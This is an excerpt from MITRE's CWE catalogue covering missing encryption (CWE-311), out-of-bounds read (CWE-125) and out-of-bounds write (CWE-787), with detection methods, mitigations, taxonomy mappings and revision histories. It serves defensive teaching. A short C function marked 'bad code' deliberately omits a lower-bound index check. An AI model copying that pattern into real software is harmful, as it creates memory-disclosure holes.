Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Network Sniffer

Cost effective for partial coverage:

Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Man-in-the-middle attack tool

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	720	OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	729	OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	963	SFP Secondary Cluster: Exposed Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1402	Comprehensive Categorization: Encryption

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

CWE-311 is high-level with more precise children available. It is a level-1 Class (i.e., a child of a Pillar).

Comments:

Consider children CWE-312: Cleartext Storage of Sensitive Information or CWE-319: Cleartext Transmission of Sensitive Information.

Notes

Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011)	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data
ISA/IEC 62443	Part 3-3		Req SR 4.1
ISA/IEC 62443	Part 3-3		Req SR 4.3
ISA/IEC 62443	Part 4-2		Req CR 4.1
ISA/IEC 62443	Part 4-2		Req CR 7.3
ISA/IEC 62443	Part 4-2		Req CR 1.5

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-157	Sniffing Attacks
CAPEC-158	Sniffing Network Traffic
CAPEC-204	Lifting Sensitive Data Embedded in Cache
CAPEC-31	Accessing/Intercepting/Modifying HTTP Cookies
CAPEC-37	Retrieve Embedded Sensitive Data
CAPEC-383	Harvesting Information via API Event Monitoring
CAPEC-384	Application API Message Manipulation via Man-in-the-Middle
CAPEC-385	Transaction or Event Tampering via Application API Manipulation
CAPEC-386	Application API Navigation Remapping
CAPEC-387	Navigation Remapping To Propagate Malicious Content
CAPEC-388	Application API Button Hijacking
CAPEC-477	Signature Spoofing by Mixing Signed and Unsigned Content
CAPEC-609	Cellular Traffic Intercept
CAPEC-65	Sniff Application Code

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. URL validated: 2024-11-17.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

[REF-265] Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26. <https://www.sans.org/blog/top-25-series-rank-10-missing-encryption-of-sensitive-data/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43. 1st Edition. Addison Wesley. 2006.

[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-11-14 (CWE 4.14, 2024-02-29)	participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
2023-11-14 (CWE 4.14, 2024-02-29)	Contributed or reviewed taxonomy mappings for ISA/IEC 62443
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Other_Notes
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, Relationships
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations, References
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationship_Notes
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Related_Attack_Patterns
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Related_Attack_Patterns
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References, Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships, Type
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Potential_Mitigations, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Taxonomy_Mappings
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Failure to Encrypt Data
2010-02-16	Failure to Encrypt Sensitive Data

Weakness ID: 125

View customized information:

Description

The product reads data past the end, or before the beginning, of the intended buffer.

Alternate Terms

OOB read:	Shorthand for "Out of bounds" read

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory An attacker could get secret values such as cryptographic keys, PII, memory addresses, or other information that could be used in additional attacks.
Confidentiality	Technical Impact: Bypass Protection Mechanism Out-of-bounds memory could contain memory addresses or other information that can be used to bypass ASLR and other protection mechanisms in order to improve the reliability of exploiting a separate weakness for code execution.
Availability	Technical Impact: DoS: Crash, Exit, or Restart An attacker could cause a segmentation fault or crash by causing memory to be read outside of the bounds of the buffer. This is especially likely when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string.
Other	Technical Impact: Varies by Context The read operation could produce other undefined or unexpected results.

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.

Phase: Architecture and Design

Strategy: Language Selection

Use a language that provides appropriate memory abstractions.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	126	Buffer Over-read
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	127	Buffer Under-read
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Demonstrative Examples

Example 1

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)

Example Language: C

int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];

}
// if array index is invalid then output error message

// and return value indicating error
else {

printf("Value is: %d\n", array[index]);
value = -1;

}

return value;

}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)

Example Language: C

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Observed Examples

Reference	Description
CVE-2023-1018	The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to read 2 bytes past the end of a buffer.
CVE-2020-11899	Out-of-bounds read in IP stack used in embedded systems, as exploited in the wild per CISA KEV.
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
CVE-2021-40985	HTML conversion package has a buffer under-read, allowing a crash
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).
CVE-2018-16069	Chain: series of floating-point precision errors (CWE-1339) in a web browser rendering engine causes out-of-bounds read (CWE-125), giving access to cross-origin data
CVE-2004-0112	out-of-bounds read due to improper length check
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read.
CVE-2004-0184	out-of-bounds read, resultant from integer underflow
CVE-2004-1940	large length value causes out-of-bounds read
CVE-2004-0421	malformed image causes out-of-bounds read
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information

Weakness Ordinalities

Ordinality	Description
Resultant	(where the weakness is typically related to the presence of some other weaknesses) When an out-of-bounds read occurs, typically the product has already made a separate mistake, such as modifying an index or performing pointer arithmetic that produces an out-of-bounds address.
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Out-of-bounds Read
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP8		Faulty Buffer Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-540	Overread Buffers

References

[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31. <https://dl.acm.org/doi/10.1145/1519144.1519145>. URL validated: 2023-04-07.

[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25. <https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2024-02-29 (CWE 4.15, 2024-07-16)	Abhi Balakrishnan
2024-02-29 (CWE 4.15, 2024-07-16)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Description
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Related_Attack_Patterns
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Observed_Examples, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Description
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Description, Related_Attack_Patterns
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Observed_Examples, Potential_Mitigations, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Related_Attack_Patterns, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Alternate_Terms, Common_Consequences, Description, Diagram, Weakness_Ordinalities
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Observed_Examples, Relationships

Weakness ID: 787

View customized information:

Description

The product writes data past the end, or before the beginning, of the intended buffer.

Alternate Terms

Memory Corruption:	Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is otherwise invalid.

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands Write operations could cause memory corruption. In some cases, an adversary can modify control data such as return addresses in order to execute unexpected code.
Availability	Technical Impact: DoS: Crash, Exit, or Restart Attempting to access out-of-range, invalid, or unauthorized memory could cause the product to crash.
Other	Technical Impact: Unexpected State Subsequent write operations can produce undefined or unexpected results.

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that the buffer is as large as specified.
When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333].

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Note: This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	121	Stack-based Buffer Overflow
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	122	Heap-based Buffer Overflow
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	124	Buffer Underwrite ('Buffer Underflow')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
